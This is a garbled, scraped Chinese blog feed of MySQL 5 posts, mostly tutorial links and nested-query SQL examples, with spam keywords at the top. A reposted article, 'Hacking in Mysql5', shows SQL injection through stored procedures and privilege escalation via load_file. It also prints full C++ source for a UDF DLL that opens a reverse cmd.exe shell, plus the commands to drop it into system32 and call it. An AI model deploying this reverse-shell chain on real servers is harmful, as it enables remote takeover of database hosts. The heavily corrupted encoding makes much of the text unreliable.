亚洲欧洲国产精品久久,亚洲成AV人在线观看网址,亚洲精品第五页中文字幕

MySQL 新特性之事�g中文教程

Sun, 29 Oct 2006 14:07:00 GMT

MySQL新特性——事件的中文教程�Q?br />http://www.tkk7.com/Files/chenpengyi/MySQL-Events-CN.rar
如果需要英文的请到MySQL知识库中下蝲�?img src ="http://www.tkk7.com/chenpengyi/aggbug/77933.html" width = "1" height = "1" />

陈朋�?/a> 2006-10-29 22:07 发表评论

Sun, 19 Feb 2006 13:53:00 GMT

Hacking in Mysql5

Author�Q�SuperHei_[At]_ph4nt0m.org
Blog�Q?/FONT>http://superhei.blogbus.com/
Team�Q?/FONT>http://www.ph4nt0m.org
Data: 2006-01-29

     Mysql5增加很多新的功能�Q�开始支持：存储�q�程、触发器、视图、信息架构视囄��新特。可以说�q�些都是发展的必�Ӟ��但是新的东西的出来，必定也会带来新的安全问题�Q�如Mysql4开始支持union查询、子查询。这直接��D��mysql注射更容易、广泛。mysql5的新功能会给安全带来什么新的东西呢�Q�下面我�l�大家介�l�下mysql5在安全方面的特点�Q?BR>

一、password authentication

mysql5的password()和mysql4.1一��P��采用的基于SHA1�?1位hash�Q?BR>
mysql> select password('mypass');
+-------------------------------------------+
| password('mypass')                        |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基�?6位md5�Q?BR>
mysql> SELECT PASSWORD('mypass');
+--------------------+
| PASSWORD('mypass') |
+--------------------+
| 6f8c114b58f2ce9e   |
+--------------------+

当��用低版本的Client�q�接�Ӟ��回出现错误：Client does not support authentication protocol�Q��ؓ了解册��个问题，mysql5提供了一个old_password(),��q��当于mysql4.1以前的的password():

mysql> select old_password('mypass');
+------------------------+
| old_password('mypass') |
+------------------------+
| 6f8c114b58f2ce9e       |
+------------------------+
1 row in set (0.09 sec)

二、数据字�?information_schema)

和mssql、oracle、db2�{�数据库一��P��mysql5提供了一个系�l�数据库�Q�information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| KEY_COLUMN_USAGE                      |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| VIEWS                                 |
| USER_PRIVILEGES                       |
+---------------------------------------+
16 rows in set (0.17 sec)

在这个数据库里我们可以得到很多信息，包括当前用户权限�Q?BR>mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL          | USAGE          | NO           |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)

当前用户权限下可以访问的数据库，表，列名�Q�这个在sql注射中，��D��直接暴区数据库，表列名，再也不要‘暴力’咯�Q�：

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in           | article    | articleid   |
| in           | user       | userid      |
+--------------+------------+-------------+
2 rows in set (0.02 sec)

�q�可以得到当前用��h��限下的VIEWS�Q�ROUTINES�{�，关于ROUTINES我们在下面的‘存储过�E�’里详细介绍�?BR>
[ps:注意是‘当前用��h��限’如果是root�Q�那么太可以得到所有的数据库名�U�C��及表列名�{�等]

三、存储过�E?Stored Procedures)

'存储�q�程'的��用是mysql5的一个闪光点�Q�在带来方便的同�Ӟ��它也带来了新的安全隐患：如sql注射�Q�用��h��限提升等�{��?BR>
D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
    -> BEGIN
    ->   SELECT * FROM in.USER WHERE USERID=ID;
    -> END//
Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

上面我们使用root在数据库in里创��Z��一个名为test的存储过�E��?BR>
a、SQL Injection

mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

b、跨权限
存储�q�程是��承创��的权限的，如果存储�q�程是root创徏的，当其他普通用户��用这个存储过�E�时�Q�导致跨权限��d��Q?BR>
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
    -> ON `IN`.*
    -> TO 'KK1'@'%'
    -> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)

上面建立一个KK1的用户只在数据库in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE权限�Q��用KK1登陆�Q?BR>D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in             | test         | root@localhost |                    |
| in             | tt           | root@localhost |                    |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)

我们可以得到KK1可以使用存储�q�程in.test 其创��ؓroot@localhost。不�q�KK1没有权限得到ROUTINE_DEFINITION ��是in.test的代码。下面看看跨权限�Q?BR>
mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
|      1 | angel    | mypass   |
+--------+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.01 sec)

mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)

Query OK, 0 rows affected (0.00 sec)

没有file权限的KK1可以使用in.test使用load_file()�Q�我们还可以直接对mysql.user�q�行select�Q�如果存储过�E�可以updata�Q�insert注射�Q�那么我们可以普通用��L��接通过注射来修改mysql.user里的数据�?BR>
四、User-Defined Function

[ps�Q�下面都是基于win�pȝ��]

mysql5的udf在格式和安全斚w��做一些新的改变：
1、格式要求更加严格[xxx_init()初始化函数]
对于没有xxx_init()初始化函�?在以前的版本是可以��用的�Q�但是在mysql5下会出现Can't find function 'xxx_init' in library的错误，如：

mysql> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library

下面�l�出的代码是好友云舒写的�Q�符合mysql5的udf格式要求可以在mysql5下��用：

/*******************************************************************************
* File:   MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date:    2005-12-12
*******************************************************************************/
#include
#include
#include

#define MAKE_DLL                /* Build dll here */

#include "MySQL_Shell.h"

#pragma comment( lib, "ws2_32" )

#define BUFFER_SIZE    1024

///////////////////////////////////////////////////////////////////////////////
//函数原型
///////////////////////////////////////////////////////////////////////////////

BOOL StartWith( char *, char * );
void LogMsg( char * );

///////////////////////////////////////////////////////////////////////////////
//MySQL模块初始化函�?
///////////////////////////////////////////////////////////////////////////////

LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
    if ( args->arg_count != 2 )
    {
        strcpy( message, "Shell() requires two arguments" );
        return 1;
    }

    if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
    {
        strcpy( message, "Shell() requires two string arguent" );
        return 1;
    }

    return 0;
}

///////////////////////////////////////////////////////////////////////////////
//MySQL模块��d��能函敎ͼ�反向�q�接提供shell
///////////////////////////////////////////////////////////////////////////////

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
    SOCKET            sock;
    SOCKADDR_IN        sin;
    int                ret;

    // Create socket
    sock = socket( AF_INET, SOCK_STREAM, 0 );
    if ( sock == INVALID_SOCKET )
    {
        strcpy( error, "Create socket error" );

        return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons( atoi(args->args[1]) );
    sin.sin_addr.s_addr = inet_addr( args->args[0] );

    //connect to remote server
    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
    if( ret == SOCKET_ERROR )
    {
        strcpy( error, "Connect error" );

        return -1;
    }

    SECURITY_ATTRIBUTES    sa;

    sa.nLength = sizeof( sa );
    sa.lpSecurityDescriptor = 0;
    sa.bInheritHandle = TRUE;

    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );

    STARTUPINFO    si;
    ZeroMemory( &si, sizeof(si) );

    GetStartupInfo( &si );

    si.cb = sizeof( si );
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;

    PROCESS_INFORMATION    processInfo;

    char    cmdLine[] = "cmd.exe";

    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);

    char            buff[BUFFER_SIZE] = { 0 };
    unsigned long    bytesRead = 0;
    int             i = 0;

    while( TRUE )
    {
        memset( buff, 0, BUFFER_SIZE );

          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );

          for(i = 0; i < 5 && bytesRead == 0; i++)
        {
            Sleep(100);
            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
        }

          if( bytesRead )
        {
               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;

            ret = send( sock, buff, bytesRead, 0 );
               if( ret <= 0 ) break;
          }
        else
        {
               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );

               if( bytesRead <= 0 ) break;

            if( StartWith( buff , "exit" ) == TRUE ) break;

               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
               if( !ret ) break;
           }
    }

    TerminateProcess( processInfo.hProcess, 0 );

    CloseHandle( hReadPipe1 );
    CloseHandle( hReadPipe2 );
    CloseHandle( hWritePipe1 );
    CloseHandle( hWritePipe2 );

    closesocket( sock );

    return 0;
}

///////////////////////////////////////////////////////////////////////////////
//判断字符串是否以另一个字�W�串开�?
///////////////////////////////////////////////////////////////////////////////

BOOL StartWith( char *buf1, char *buf2 )
{
    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len ) == 0 )
    {
        return TRUE;
    }
    return FALSE;
}

///////////////////////////////////////////////////////////////////////////////
//记录日志信息�Q�调试用
///////////////////////////////////////////////////////////////////////////////

void LogMsg( char *msg )
{
    FILE    *fp;

    fp = fopen( "C:\mysql.txt", "a+" );

    fputs( msg, fp );

    fclose( fp );
}

/*******************************************************************************
* File:   MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date:    2005-12-12
*******************************************************************************/

#ifdef MAKE_DLL
    #define LIB extern "C" __declspec(dllexport)
#else
    #define LIB extern "C" __declspec(dllimport)
#endif

#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */

typedef char my_bool;

enum Item_result
{
    STRING_RESULT,REAL_RESULT,INT_RESULT
};

typedef struct st_udf_args
{
    unsigned int        arg_count;           /* Number of arguments */
    enum Item_result    *arg_type;           /* Pointer to item_results */
    char                **args;                 /* Pointer to argument */
    unsigned long        *lengths;            /* Length of string arguments */
    char                *maybe_null;         /* Set to 1 for all maybe_null args */
} UDF_ARGS;

typedef struct st_udf_init
{
    my_bool                maybe_null;          /* 1 if function can return NULL */
    unsigned int        decimals;            /* for real functions */
    unsigned int        max_length;          /* For string functions */
    char                *ptr;                /* free pointer for function data */
    char                const_item;          /* 0 if result is independent of arguments */
} UDF_INIT;

LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );

2、mysql5限制了udf对应的文件dll文�g只可以放在system32目录下�?BR>对于一般低权限的系�l�用��h��没有对system32目录写权限的�Q�在�q�样的情况下我们可以使用into dumpfile把dll文�g攑ֈ�system32来突��_��具体如下�Q?BR>mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name  | ret | dl        | type     |
+-------+-----+-----------+----------+
| shell |   2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
|                      NULL |
+---------------------------+
1 row in set (0.97 sec)

五、参�?BR>《MySQL 5.0 Reference Manual�?http://dev.mysql.com/doc/refman/5.0/en/
《Hackproofing MySQL�?nbsp;        http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
《给mysql加个自定义函敎ͼ�windows�q�_��Q��?/FONT>http://www.icylife.net/yunshu/show.php?id=244

六、感�?BR>感谢云舒、TomyChen、Mix ...所有pst的兄弟们�?BR>
谢谢阅读!

陈朋�?/a> 2006-02-19 21:53 发表评论

Sun, 25 Sep 2005 11:36:00 GMT

最�q�在MySQL上做了点工作�Q�发现很多�h都在询问MySQL嵌套查询的问题，许多人都觉得MySQL不支持嵌套查询，其实MySQl�?.11版后已经完全支持嵌套查询了，那么下面我�D些简单的嵌套查询的例子吧�Q�源�E�序来自MySQL User Manual�Q�：

1. SELECT语句的子查询:
语法:     SELECT ... FROM (subquery) AS name ...

先创��Z��个表:
CREATE TABLE t1 (s1 INT, s2 CHAR(5), s3 FLOAT);
INSERT INTO t1 VALUES (1,'1',1.0);
INSERT INTO t1 VALUES (2,'2',2.0);

我们��可以进行以下的嵌套查询�?
SELECT sb1,sb2,sb3
       FROM (SELECT s1 AS sb1, s2 AS sb2, s3*2 AS sb3 FROM t1) AS sb
       WHERE sb1 > 1;

�l�果是： 2, '2', 4.0.

我们知道下面语句是不会得到正��结果的�Q�因为对�l�过Group by排序的集合进行求均值是不能得到正确�{�案的：
SELECT AVG(SUM(column1)) FROM t1 GROUP BY column1

所以我们可以通过下面的嵌套查询实现同��L��效果�Q?BR>SELECT AVG(sum_column1)
       FROM (SELECT SUM(column1) AS sum_column1
             FROM t1 GROUP BY column1) AS t1;

2.行的子查询（Row Subquery�Q�：
看下面的例子�Q?BR>SELECT * FROM t1 WHERE ROW(1,2) = (SELECT column1, column2 FROM t2);
�q�个查询是返回column1�{�于column2的结果行。Row函数中的1�?相当于构造参数。想必Blogjava上的同志对这些应该比较清楚，也不去详�l�介�l�了�?BR>
3.使用Exist和Not Exist参数
�q�里的Exist和Not Exist用途及用法和在其他没有什么大的区�?我就��单�D几个范例好了:

范例一:      SELECT DISTINCT store_type FROM Stores
                    WHERE EXISTS (SELECT * FROM Cities_Stores
                                  WHERE Cities_Stores.store_type = Stores.store_type);
范例�?   SELECT DISTINCT store_type FROM Stores
                       WHERE NOT EXISTS (SELECT * FROM Cities_Stores
                                   WHERE Cities_Stores.store_type = Stores.store_type);
范例�? �q�个例子中嵌套��用了Not Exist语法�Q�稍微注意一下：
               SELECT DISTINCT store_type FROM Stores S1
                    WHERE NOT EXISTS (
                               SELECT * FROM Cities WHERE NOT EXISTS (
                                       SELECT * FROM Cities_Stores
                                                 WHERE Cities_Stores.city = Cities.city
                                                         AND Cities_Stores.store_type = Stores.store_type));

4.条�g兌��关系查询�Q?BR>解释��h��ȝ��Q�直接看例子吧：
SELECT column1 FROM t1 AS x
     WHERE x.column1 = (SELECT column1 FROM t2 AS x
          WHERE x.column1 = (SELECT column1 FROM t3
               WHERE x.column2 = t3.column1));
跟其他数据库做法是一��L��?BR>
5.其他使用�Ҏ��和注意：
除了上面�q�些�q�有很多很多�Q�不�q�就不去�l�讲了，因�ؓ�q�些跟别的数据库差不多，只是��Z��l�大家一个参考，提提��够了�?BR>
         SELECT (SELECT s1 FROM t2) FROM t1;
         SELECT (SELECT s2 FROM t1);

支持子查询的语法有：SELECT�Q�INSERT�Q�UPDATE�Q�DELETE�Q�SET和DO�?BR>
子查询可以��用�Q何普通查询中使用的关键词�Q�如DINSTINCT�Q�GROUP BY�Q�LIMIT�Q�ORDER BY�Q�UNION�Q�ALL�Q�UNION ALL�{�。可以��?lt;,>, <=, >=, =, <>�q�算�W�进行比较，也可以��用ANY �Q�IN和SOME�q�行集合的匹配�?BR>
转蝲��h��明出处：陈朋�?http://www.tkk7.com/chenpengyi

陈朋�?/a> 2005-09-25 19:36 发表评论

SQL �_�֦�语句�Q�确实牛�Q�）

Sat, 16 Jul 2005 16:02:00 GMT

如何从一位菜鸟蜕变成为高手，灉|��使用的SQL语句是必不可��的。本文收集了部分比较�l�典�Q�常用的SQL语句供大家参考，希望对大家有所帮助�?

　　说明�Q�复制表(只复制结�?源表名：a 新表名：b)　　

　　SQL: select * into b from a where 1<>1

　　说明�Q�拷贝表(拯��数据,源表名：a 目标表名�Q�b)　　

　　SQL: insert into b(a, b, c) select d,e,f from b;

　　说明�Q�显�C�文章、提交�h和最后回复时间　　

　　SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

　　说明�Q�外�q�接查询(表名1�Q�a 表名2�Q�b)　　

　　SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

　　说明�Q�日�E�安排提前五分钟提醒　　

　　SQL: select * from 日程安排 where datediff('minute',f开始时�?getdate())>5　　

　　说明�Q�两张关联表�Q�删除主表中已经在副表中没有的信�?

　　SQL: 　　

　　delete from info where not exists ( select * from infobz where info.infid=infobz.infid

　　说明�Q?-

　　SQL: 　　

　　SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE

　　 FROM TABLE1,

　　 (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE

　　 FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND

　　 FROM TABLE2

　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,

　　 (SELECT NUM, UPD_DATE, STOCK_ONHAND

　　 FROM TABLE2

　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =

　　 TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') ¦¦ '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y,

　　 WHERE X.NUM = Y.NUM �Q?�Q?

　　 AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND B

　　WHERE A.NUM = B.NUM

　　说明�Q?-

　　SQL: 　　

　　select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and �p�d��U?'"&strdepartmentname&"' and 专业名称='"&strprofessionname&"' order by 性别,生源�?高考��L��l?

　　说明�Q?

　　从数据库中去一�q�的各单位电话费�l�计(电话费定额贺电化肥清单两个表来源�Q?

　　SQL: 　

　　SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '01', a.factration)) AS JAN,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,

　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC

　　FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration

　　 FROM TELFEESTAND a, TELFEE b

　　 WHERE a.tel = b.telfax) a

　　GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')

　　说明�Q�四表联查问题：　　

　　SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

　　说明�Q�得到表中最��的未��用的ID�?

　　SQL:　

　　SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID

　　 FROM Handle

　　 WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)

陈朋�?/a> 2005-07-17 00:02 发表评论

官方MySQL 5 新特�?视图�Q�Views�Q?��译下蝲�Q?

Wed, 13 Jul 2005 15:56:00 GMT

�׃��部分国庆时间休假的旉��Q�终于完成了。下面是中文版的下蝲地址�Q?BR>
http://www.tkk7.com/Files/chenpengyi/MySQL-Views-Translation-CN.rar
希望大家转蝲时保留个人及出处信息�Q�否则视��Z�R权，呵呵�?BR>
如果需要英文版的，可以��C��面地址下蝲�Q?BR>http://dev.mysql.com/tech-resources/articles/mysql-views.pdf

陈朋�?/a> 2005-07-13 23:56 发表评论

Tue, 12 Jul 2005 16:36:00 GMT

�q�里提供的是英文版：
http://zj.onlinedown.net:82/down/mysql5.chm
http://crcfj.onlinedown.com:82/down/mysql5.chm
http://gzcnc.onlinedown.net:82/down/mysql5.chm
http://sccrc.onlinedown.net:82/files2/mysql5.chm

好像�q�接挂了�Q�可能是��Z��防止盗链�?BR>大家可以��d��军自己找�?BR>想翻译这个……不�q�一个�h工程太大了，需要战友。。�?BR>惌��为开源和数据库事业做��A献的��留言�Q?/P>

陈朋�?/a> 2005-07-13 00:36 发表评论

官方MySQL 5 新特�?触发器（Triggers�Q?��译下蝲�Q?

Sun, 10 Jul 2005 15:04:00 GMT

今天�l�于��译完咯�Q�哈哈，下面是链接，希望能给有需要的人帮助！
http://www.tkk7.com/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar

如果需要原版的话，可以��C��面地址下蝲�Q?BR>http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf

陈朋�?/a> 2005-07-10 23:04 发表评论

Sun, 10 Jul 2005 13:52:00 GMT

以下是本人翻译的MySQL官方的存储过�E�教�E�的中文版，下面是链接，如果大家有什么想法请来信和我讨论�Q?A href="mailto:chenpengyi_007@163.com">chenpengyi_007@163.com�Q�，或者留�a�。下载链接如下：
http://hudu.net/wind/mysql5Procedure.rar(感谢Wind提供�I�间)
或者在http://www.tkk7.com/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar
下蝲
若需要原版可以去MySQL官方�|�站下蝲
�q�里提供链接http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.pdf

陈朋�?/a> 2005-07-10 21:52 发表评论

亚洲欧洲国产精品久久,亚洲成AV人在线观看网址,亚洲精品第五页中文字幕

MySQL 新特性之事�g中文教程

SQL �_�֦�语句�Q�确实牛�Q�）

官方MySQL 5 新特�?视图�Q�Views�Q?���译 下蝲�Q?

官方MySQL 5 新特�?触发器（Triggers�Q?���译 下蝲�Q?

官方MySQL 5 新特�?视图�Q�Views�Q?��译下蝲�Q?

官方MySQL 5 新特�?触发器（Triggers�Q?��译下蝲�Q?